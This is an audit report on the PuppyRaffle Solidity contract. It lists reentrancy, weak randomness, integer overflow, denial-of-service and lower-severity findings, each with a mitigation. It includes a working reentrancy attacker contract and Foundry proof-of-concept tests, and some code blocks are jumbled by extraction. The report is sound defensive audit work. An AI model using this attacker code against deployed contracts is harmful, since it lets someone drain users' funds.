



Puppy Raffle Audit Report

Version 1.0

Zitife.O

April 17, 2025

Puppy Raffle Audit Report

Zitife.O

April 17, 2025

Prepared by: Zitife Lead Security Reviewer: - Otegbulu Chizitife

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance
 - * [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy
 - * [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
 - Medium
 - * [M-1] Looping through the array to search for duplicates in the `PuppyRaffle::enterRaffle` is a potential denial of service(Dos) attack, incrementing gas costs for future entrants
 - * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
 - * [M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

- Low
 - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index zero to incorrectly think they have not entered the raffle.
- Gas
 - [G-1] Unchanged state variables should be declared constant or immutable
 - [G-2] Storage variable in a loop should be cached
 - Informational/Non-critical
 - * [I-1] Unspecific Solidity Pragma
 - * [I-2]: Implementing an outdated version of Solidity is not recommended
 - * [I-3]: Address State Variable Set Without Checks
 - * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
 - * [I-5] Use of 'magic' numbers is discouraged
 - * [I-6] State changes are missing events
 - * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

Puppy Raffle is a decentralized protocol built on Ethereum that facilitates community-based raffles for Puppy-themed NFTs with varying levels of rarity. It is designed to provide a fun, gamified experience where participants can win unique NFTs while contributing to a growing ecosystem.

At its core, the protocol allows users to enter raffles by paying an entrance fee in ETH, after which one player is randomly selected to win the NFT prize. The protocol includes fair distribution mechanisms, a reward split system, and fee collection for sustainability

Disclaimer

The security researcher zitife, makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
1 22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
1 ./src/  
2 -- PuppyRaffle.sol
```

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

I enjoyed auditing this protocol because it gave me a chance to learn more about the NFT space and how to mitigate errors. It was a pleasure doing this for your team.

Issues found

Severity	Number of issues found
High	3

Severity	Number of issues found
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not implement/follow CEI[Checks, Effects, Interactions] and as a result allows participants to drain the contract balance

In the `PuppyRaffle::refund` function, we first make an external call to `msg.sender` address only after making the external call do we update the `PuppyRaffle::players` array

```
1         function refund(uint256 playerIndex) public {
2             address playerAddress = players[playerIndex];
3             require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4             require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6             @> payable(msg.sender).sendValue(entranceFee);
7             @> players[playerIndex] = address(0);
8
9             emit RaffleRefunded(playerAddress);
10        }
```

A player who enters the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` again and claim another refund. They could continue this cycle till the contract balance is drained.

Impact: All the fees paid by the raffle players could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls the `PuppyRaffle::refund`.
3. Attacker enters the raffle.
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1     function test_reentrancyRefund() public {
2         address[] memory players = new address[](4);
3         players[0] = playerOne;
4         players[1] = playerTwo;
5         players[2] = playerThree;
6         players[3] = playerFour;
7         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9         ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10             puppyRaffle);
11         address attackUser = makeAddr("attackUser");
12         vm.deal(attackUser, 1 ether);
13
14         uint256 startingAttackContractBalance = address(
15             attackerContract).balance;
16         uint256 startingContractBalance = address(puppyRaffle).balance
17             ;
18
19         //attack
20         vm.prank(attackUser);
21         attackerContract.attack{value: entranceFee}();
22
23         console.log("Starting attack contract balance: ",
24             startingAttackContractBalance);
25         console.log("Starting contract balance: ",
26             startingContractBalance);
27
28         console.log("Ending attack contract balance: ", address(
29             attackerContract).balance);
30         console.log("Ending contract balance: ", address(puppyRaffle).
31             balance);
32     }
33
34     function testTotalFeesOverflow() public playersEntered {
35         // We finish a raffle of 4 to collect some fees
36         vm.warp(block.timestamp + duration + 1);
37         vm.roll(block.number + 1);
38         puppyRaffle.selectWinner();
39         uint256 startingTotalFees = puppyRaffle.totalFees();
40         // startingTotalFees = 8000000000000000000
41
42         // We then have 89 players enter a new raffle
43         uint256 playersNum = 89;
44         address[] memory players = new address[](playersNum);
45         for (uint256 i = 0; i < playersNum; i++) {
46             players[i] = address(i);
47         }
48         puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
49             players);
50         // We end the raffle
51         vm.warp(block.timestamp + duration + 1);
52         vm.roll(block.number + 1);
53     }
```

```
46      // And here is where the issue occurs
47      // We will now have fewer fees even though we just finished a
        second raffle
48      puppyRaffle.selectWinner();
49
50      uint256 endingTotalFees = puppyRaffle.totalFees();
51      console.log("ending total fees", endingTotalFees);
52      assert(endingTotalFees < startingTotalFees);
53
54      // We are also unable to withdraw any fees because of the
        require check
55      vm.prank(puppyRaffle.feeAddress());
56      vm.expectRevert("PuppyRaffle: There are currently players
        active!");
57      puppyRaffle.withdrawFees();
58  }
59
60  function testCantSendMoneyToRaffle() public {
61      address senderAddy = makeAddr("sender");
62      vm.deal(senderAddy, 1 ether);
63      vm.expectRevert();
64      (bool success,) = payable(address(puppyRaffle)).call{value: 1
        ether}("");
65      require(success);
66
67  }
```

And this one as well

```
1
2  contract ReentrancyAttacker {
3      PuppyRaffle puppyRaffle;
4      uint256 entranceFee;
5      uint256 attackerIndex;
6
7      constructor(PuppyRaffle _puppyRaffle) {
8          puppyRaffle = _puppyRaffle;
9          entranceFee = puppyRaffle.entranceFee();
10     }
11
12     function attack() external payable {
13         address[] memory players = new address[](1);
14         players[0] = address(this);
15         puppyRaffle.enterRaffle{value: entranceFee}(players);
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this)
            );
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     function _stealMoney() internal {
21         if (address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     fallback() external payable {
27         _stealMoney();
28     }
```

```
29
30     receive() external payable {
31         _stealMoney();
32     }
33 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update its `players` array before executing an external call. Additionally, we should move the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
5 +         players[playerIndex] = address(0);
6 +         emit RaffleRefunded(playerAddress);
7         payable(msg.sender).sendValue(entranceFee);
8 -         players[playerIndex] = address(0);
9 -         emit RaffleRefunded(playerAddress);
10    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description Hashing `msg.sender`, `block.timestamp`, `block.difficulty` creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note This additionally means users can front-run this function and call `refund` if they see that they are not the winner.

Impact Due to this exploit, any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. This would make the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concepts

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao here. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or the resulting puppy.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to 0.8.0, integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max;
2 // myVar will be 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // substituted
3 totalFees = 8000000000000000000 + 17800000000000000000;
4 // due to overflow, the following is now the case
5 totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
1 function testTotalFeesOverflow() public playersEntered {
2     // We finish a raffle of 4 to collect some fees
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
5     puppyRaffle.selectWinner();
6     uint256 startingTotalFees = puppyRaffle.totalFees();
7     // startingTotalFees = 8000000000000000000
8
9     // We then have 89 players enter a new raffle
10    uint256 playersNum = 89;
11    address[] memory players = new address[](playersNum);
12    for (uint256 i = 0; i < playersNum; i++) {
13        players[i] = address(i);
14    }
15    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
        players);
16    // We end the raffle
17    vm.warp(block.timestamp + duration + 1);
18    vm.roll(block.number + 1);
19
20    // And here is where the issue occurs
```

```
21      // We will now have fewer fees even though we just finished a
      second raffle
22      puppyRaffle.selectWinner();
23
24      uint256 endingTotalFees = puppyRaffle.totalFees();
25      console.log("ending total fees", endingTotalFees);
26      assert(endingTotalFees < startingTotalFees);
27
28      // We are also unable to withdraw any fees because of the
      require check
29      vm.prank(puppyRaffle.feeAddress());
30      vm.expectRevert("PuppyRaffle: There are currently players
      active!");
31      puppyRaffle.withdrawFees();
32  }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's [SafeMath](#) to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through the array to search for duplicates in the `PuppyRaffle::enterRaffle` is a potential denial of service(Dos) attack, incrementing gas costs for future entrants

Description The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

Impact The gas costs will increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big that no one else enters, guaranteeing themselves a win

```
1
2 @>      for (uint256 i = 0; i < players.length - 1; i++) {
3           for (uint256 j = i + 1; j < players.length; j++) {
4               require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
5           }
6       }
```

Proof of Concepts

If we have 2 sets of 100 players, the gas costs will be as such; - 1st 100 players = ~6503275gas - 2nd 100 players = ~18995515gas

This is more than 3x expensive for the second 100 players

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1  function test_DenialOfService() public {
2      // address[] memory players = new address[](1);
3      // players[0] = playerOne;
4      // puppyRaffle.enterRaffle{value: entranceFee}(players);
5      // assertEq(puppyRaffle.players(0), playerOne);
6      vm.txGasPrice(1);
7
8      // Let's use 100 players
9      uint256 playersNum = 100;
10     address[] memory players = new address[](playersNum);
11     for (uint256 i = 0; i < playersNum; i++) {
12         players[i] = address(i); // Generate dummy addresses
13     }
14
15     uint256 gasStart = gasleft();
16     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
17         players);
18     uint256 gasEnd = gasleft();
19
20     uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
21     console.log("Gas cost of the first 100 players: ",
22         gasUsedFirst);
23
24     // for the next 100 players
25     address[] memory playersTwo = new address[](playersNum);
26     for (uint256 i = 0; i < playersNum; i++) {
27         playersTwo[i] = address(i + playersNum); // Generate dummy
28             addresses
29     }
30
31     uint256 gasStartSecond = gasleft();
32     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
33         playersTwo);
34     uint256 gasEndSecond = gasleft();
35 }
```

```

32     uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
        gasprice;
33     console.log("Gas cost of the second 100 players: ",
        gasUsedSecond);
34
35     assert(gasUsedSecond > gasUsedFirst);
36 }

```

Recommended mitigation

There are a few recommendations

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow the constant time lookup of whether a user has already entered.

```

1 + mapping(address => uint256) public addressToRaffleId; +
2 + uint256 public raffleId = 0;
3 ~
4 ~
5 ~
6 function enterRaffle(address[] memory newPlayers) public payable {
7     /// q were custom reverts a thing in solidity 0.7.6
8     /// what if it's 0?
9     require(msg.value == entranceFee * newPlayers.length, "
    PuppyRaffle: Must send enough to enter raffle");
10    for (uint256 i = 0; i < newPlayers.length; i++) {
11        players.push(newPlayers[i]);
12
13 +        addressToRaffleId[newPlayers[i]] = raffleId;
14    }
15
16 -    // Check for duplicates
17 +    // Check for duplicates only from the new players
18 +    for (uint256 i = 0; i < newPlayers.length; i++) {
19 +        require(addressToRaffleId[newPlayers[i]] != raffleId,
    "PuppyRaffle: Duplicate player");
20 +    }
21 -    for (uint256 i = 0; i < players.length - 1; i++) {
22 -        for (uint256 j = i + 1; j < players.length; j++) {
23 -            require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
24 -        }
25 -    }
26    emit RaffleEnter(newPlayers);
27 }
28 ~
29 ~
30 ~
31
32 function selectWinner() external {
33 +    raffleId = raffleId + 1;
34    require(block.timestamp >= raffleStartTime + raffleDuration, "
    PuppyRaffle: Raffle not over");
35 }

```

Alternatively, you could use [Openzeppelin's `EnumerableSet` library] (<https://docs.openzeppelin.com/contracts/4x/>)

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1 function selectWinner() external {
2     require(block.timestamp >= raffleStartTime + raffleDuration, "
3         PuppyRaffle: Raffle not over");
4     require(players.length > 0, "PuppyRaffle: No players in raffle
5         ");
6     uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
7         sender, block.timestamp, block.difficulty))) % players.
8         length;
9     address winner = players[winnerIndex];
10    uint256 fee = totalFees / 10;
11    uint256 winnings = address(this).balance - fee;
12    @> totalFees = totalFees + uint64(fee);
13    players = new address[] (0);
14    emit RaffleWinner(winner, winnings);
15 }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
3 .
```

```
4 .
5 .
6     function selectWinner() external {
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
8         require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
9         uint256 winnerIndex =
10            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -         totalFees = totalFees + uint64(fee);
16 +         totalFees = totalFees + fee;
17     }
```

[M-3] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and thus would make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the onus on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index zero to incorrectly think they have not entered the raffle.

Description If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1      /// @return the index of the player in the array, if they are
      not active, it returns 0
2      function getActivePlayerIndex(address player) external view
      returns (uint256) {
3          for (uint256 i = 0; i < players.length; i++) {
4              if (players[i] == player) {
5                  return i;
6              }
7          }
8          return 0;
9      }
```

Impact A player at index zero to incorrectly think they have not entered the raffle.

Proof of Concepts

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended mitigation The easiest recommendation would be to revert if the player is not in the array instead of returning

You could also reserve the zeroth position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or a immutable

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in a loop should be cached

Everytime you call `players.length` you read from storage as opposed to memory which is gas efficient

```
1
2 +   uint256 playersLength = players.length;
3 -   for (uint256 i = 0; i < players.length - 1; i++) {
4 +   for (uint256 i = 0; i < playersLength - 1; i++) {
5 -       for (uint256 j = i + 1; j < players.length; j++) {
6 +       for (uint256 j = i + 1; j < playersLength; j++) {
7           require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
8       }
```

```
9      }
```

Informational/Non-critical

[I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1  pragma solidity ^0.7.6;
```

[I-2]: Implementing an outdated version of Solidity is not recommended

Solc frequently releases newer compiler versions. Using an old version prevents access to new solidity security checks. We also recommend avoiding complex pragma statements.

Recommendations Deploy with versions starting from 0.8.18

The recommendation takes into account:

Risks related to recent addresses Risks of complex code generation changes Risks of new language features Risks of known bugs

[I-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69

```
1      feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 214

```
1      feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI(Checks, Effects and Interactions).

```
1 -      (bool success,) = winner.call{value: prizePool}("");
2 -      require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
3 -      _safeMint(winner, tokenId);
```



```
4 +         (bool success,) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
           winner");
```

[I-5] Use of ‘magic’ numbers is discouraged

It can be confusing to see number literals in a codebase, it's much more readable if the numbers are given a name

Recommended Mitigation: Replace all magic numbers with constants.

```
1 +         uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 +         uint256 public constant FEE_PERCENTAGE = 20;
3 +         uint256 public constant TOTAL_PERCENTAGE = 100;
4 .
5 .
6 .
7 -         uint256 prizePool = (totalAmountCollected * 80) / 100;
8 -         uint256 fee = (totalAmountCollected * 20) / 100;
9         uint256 prizePool = (totalAmountCollected *
           PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
10        uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
           TOTAL_PERCENTAGE;
```

[I-6] State changes are missing events

Description

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol: 2389:40:35
- Found in src/PuppyRaffle.sol: 2476:47:35
- Found in src/PuppyRaffle.sol: 2434:37:35

[I-7] PuppyRaffle::_isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 -         function _isActivePlayer() internal view returns (bool) {
2 -             for (uint256 i = 0; i < players.length; i++) {
3 -                 if (players[i] == msg.sender) {
4 -                     return true;
5 -                 }
6 -             }
7 -             return false;
```

8 - }